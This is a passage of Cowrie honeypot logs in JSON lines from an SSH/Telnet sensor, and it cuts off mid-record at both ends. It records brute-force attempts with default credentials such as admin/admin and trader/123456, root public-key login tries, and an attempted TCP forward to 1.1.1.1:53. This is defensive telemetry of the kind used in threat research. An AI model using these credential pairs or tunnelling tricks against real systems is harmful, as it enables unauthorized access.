.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:00:23.944581Z","src_ip":"2.57.122.208","session":"47719dd65805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:00:25.486099Z","src_ip":"2.57.122.208","session":"47719dd65805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:00:26.781114Z","src_ip":"2.57.122.208","session":"47719dd65805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45214,"dst_ip":"10.17.0.5","dst_port":22,"session":"2847ef3885a7","protocol":"ssh","message":"New connection: 2.57.122.208:45214 (10.17.0.5:22) [session: 2847ef3885a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:00:58.029382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:00:58.224612Z","src_ip":"2.57.122.208","session":"2847ef3885a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:00:58.228978Z","src_ip":"2.57.122.208","session":"2847ef3885a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:00:59.224769Z","src_ip":"2.57.122.208","session":"2847ef3885a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:01:00.453324Z","src_ip":"2.57.122.208","session":"2847ef3885a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4124,"dst_ip":"10.17.0.5","dst_port":22,"session":"adab25c17e72","protocol":"ssh","message":"New connection: 87.251.64.176:4124 (10.17.0.5:22) [session: adab25c17e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:02:23.012337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:02:23.017124Z","src_ip":"87.251.64.176","session":"adab25c17e72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:02:23.113674Z","src_ip":"87.251.64.176","session":"adab25c17e72","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:02:23.406975Z","src_ip":"87.251.64.176","session":"adab25c17e72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:02:23.509281Z","session":"adab25c17e72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:02:23.608035Z","src_ip":"87.251.64.176","session":"adab25c17e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:02:23.842048Z","src_ip":"87.251.64.176","session":"adab25c17e72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.191.33.64","src_port":38766,"dst_ip":"159.203.135.109","dst_port":23,"session":"78022c799c71","protocol":"telnet","message":"New connection: 45.191.33.64:38766 (159.203.135.109:23) [session: 78022c799c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:03:05.989823Z"}
{"eventid":"cowrie.session.closed","duration":13.242215394973755,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:03:19.231926Z","src_ip":"45.191.33.64","session":"78022c799c71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46942,"dst_ip":"159.203.135.109","dst_port":22,"session":"83b30ca8b39e","protocol":"ssh","message":"New connection: 2.57.122.208:46942 (159.203.135.109:22) [session: 83b30ca8b39e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:03:23.739854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:03:24.028241Z","src_ip":"2.57.122.208","session":"83b30ca8b39e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:03:24.031744Z","src_ip":"2.57.122.208","session":"83b30ca8b39e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:03:25.744587Z","src_ip":"2.57.122.208","session":"83b30ca8b39e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:03:27.116794Z","src_ip":"2.57.122.208","session":"83b30ca8b39e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41712,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f85c3db8095","protocol":"ssh","message":"New connection: 2.57.122.208:41712 (10.17.0.5:22) [session: 0f85c3db8095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:03:57.899826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:03:58.140356Z","src_ip":"2.57.122.208","session":"0f85c3db8095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:03:58.143885Z","src_ip":"2.57.122.208","session":"0f85c3db8095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:03:59.616889Z","src_ip":"2.57.122.208","session":"0f85c3db8095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:04:00.971947Z","src_ip":"2.57.122.208","session":"0f85c3db8095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.3.73","src_port":2386,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a13b0bea447","protocol":"ssh","message":"New connection: 45.142.3.73:2386 (10.17.0.5:22) [session: 6a13b0bea447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:18.579817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:18.586694Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:18.678517Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:83:15:d4:5e:e8:79:5c:b2:82:c0:de:25:b7:be:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDM5b2O49nucppbYmfjsGSKytvSaA0SwZEsqVyb4TLb4MACVRdL3RG6KgylSBNTlhMvOyyWZQmLvCgBBikRdFapB0QdnERp194fPOD69bvpTXknFh9ABnJq1skrkRZjCIwF4Eju9Ee0XQ++HCueZ2eTJg4uSmHQBtEcml4wowLiQcOJDNtDgnhTquOpQ+eBdYsVncBD5juXlVFCokLXp4B/AB4wT5RVRSdxjZPZih8NKeCxQ0F0SXxWFta4UsF6VvR++hvd2H5E5KlGm25Vf+rNa6qffN1hXfLI1HbpdnhjB9Rl2TSfRx1DlpurUh+a13wLQW1oPHGonpYo7kDBvb/D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:83:15:d4:5e:e8:79:5c:b2:82:c0:de:25:b7:be:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:19.102624Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:83:15:d4:5e:e8:79:5c:b2:82:c0:de:25:b7:be:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDM5b2O49nucppbYmfjsGSKytvSaA0SwZEsqVyb4TLb4MACVRdL3RG6KgylSBNTlhMvOyyWZQmLvCgBBikRdFapB0QdnERp194fPOD69bvpTXknFh9ABnJq1skrkRZjCIwF4Eju9Ee0XQ++HCueZ2eTJg4uSmHQBtEcml4wowLiQcOJDNtDgnhTquOpQ+eBdYsVncBD5juXlVFCokLXp4B/AB4wT5RVRSdxjZPZih8NKeCxQ0F0SXxWFta4UsF6VvR++hvd2H5E5KlGm25Vf+rNa6qffN1hXfLI1HbpdnhjB9Rl2TSfRx1DlpurUh+a13wLQW1oPHGonpYo7kDBvb/D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:19.106479Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:e0:3c:27:bb:aa:7f:50:d2:2e:dc:43:f5:87:85:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkju3quUNe5S6MwKpLPr/3Bbv57K2l6B9sekb8YRVxkootb2e1iMrXTQRZOtPc3HM5SydIaBVFaJn0saF6pZBcMRHW05+GSFyyJgbAPNdhjOQ5wsu+hs4NGOLgb1U00eii5ErJibfquIqIEpmPCGeI2RrLRm7P7j8MMW+NkOTOdVrGLyOFGokDJ+VXfmUr8HYEk7LxLtXSDBLk3HaPRIWHCRiTf7F17UNNkPmE6naspPqkV6vVhFlO79YpNwG3WhyKm1BudmszAvStDFYo60sPjSAcVZvnkAvIZOieK9SszJ1/6cJyLxtflpf09robFxYbRGdlnYhUfJrxvrvRhKGbeMivn4DkNeKN+8Y5BNvFMY3JleeO6Xzx0UvcgTTVCpmglauEIGMLRyW9Fb6M4BWTX4n8EJ0YCJq0hH02oCqGeSJh9okzThchKZSg7GaAuOX5RaVzGFcSrsmWbJqx122u7reIduOPbOVVhAS1b8K0sq9hwEyGyXBrGtWRk7BVMfs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:e0:3c:27:bb:aa:7f:50:d2:2e:dc:43:f5:87:85:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:19.199841Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:e0:3c:27:bb:aa:7f:50:d2:2e:dc:43:f5:87:85:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkju3quUNe5S6MwKpLPr/3Bbv57K2l6B9sekb8YRVxkootb2e1iMrXTQRZOtPc3HM5SydIaBVFaJn0saF6pZBcMRHW05+GSFyyJgbAPNdhjOQ5wsu+hs4NGOLgb1U00eii5ErJibfquIqIEpmPCGeI2RrLRm7P7j8MMW+NkOTOdVrGLyOFGokDJ+VXfmUr8HYEk7LxLtXSDBLk3HaPRIWHCRiTf7F17UNNkPmE6naspPqkV6vVhFlO79YpNwG3WhyKm1BudmszAvStDFYo60sPjSAcVZvnkAvIZOieK9SszJ1/6cJyLxtflpf09robFxYbRGdlnYhUfJrxvrvRhKGbeMivn4DkNeKN+8Y5BNvFMY3JleeO6Xzx0UvcgTTVCpmglauEIGMLRyW9Fb6M4BWTX4n8EJ0YCJq0hH02oCqGeSJh9okzThchKZSg7GaAuOX5RaVzGFcSrsmWbJqx122u7reIduOPbOVVhAS1b8K0sq9hwEyGyXBrGtWRk7BVMfs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:19.203813Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:b0:97:e9:ad:a0:0a:41:af:7f:93:17:8d:d2:75:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfnZKX8vvjtKuIacmzMLPHxboNO0XzwHDdYdo94muyjdkZTx9GgTjDMOjLrJ8+YxTazsEzVPLqNKSD+WF+l7jfkgxJSyjD+ad451YiruvvqwCQXnVxCq+CR9JxfIKJhypqtWgiLNYiHaVnH2J3wMv8n/YkB7rI2tGyfop0Za+TqE1Akr6rdVz7Ix8WRHblVdk0y7GG7pCmrbahyDgMDWtx3+fVPjIejA8EyJhhWTROJT4n4SyhVsCo5oiSgocVpmCs5eVhu+2EsQqhC8o1dmmL1vWZVB8lCyWLUw6xHmP4vVp20JP+KsgvRHe3Pay7i3tVsCNJSa5mxH4wejuG0m8s15v+TSWjV+hCAOvtUHX8kcknmlwblP/CYO4s6E/Kkt2ZUCMpMSEuE5GZkG3E3WjgMfngXVmeUbgtjWXDKoUTq1YswiM7aaQyMsZ3y0PgeVWm80++AyOiQb2q3rLn4mDQR7shH9lkG2ikkFcglvd/75tOco3orRsZSHCrOp8lD6kvHR7IG10i1CG0PY/YpqZ98BRu9/OvOwgvRiZ6nFO6n4lxYtrGpQw+7JAjVXymzY0ELNBsQ+HlroASyaeJpLywpNzg0TcMSFnhs/1/Av56pAuYk1ZQTQB06j7U/lUQ0vkbJGrgQkvWW146WgsHgoY97ZV3nt4zRDMtNFis4a4XZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:b0:97:e9:ad:a0:0a:41:af:7f:93:17:8d:d2:75:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:19.293958Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:b0:97:e9:ad:a0:0a:41:af:7f:93:17:8d:d2:75:34","key":"ssh-rsa 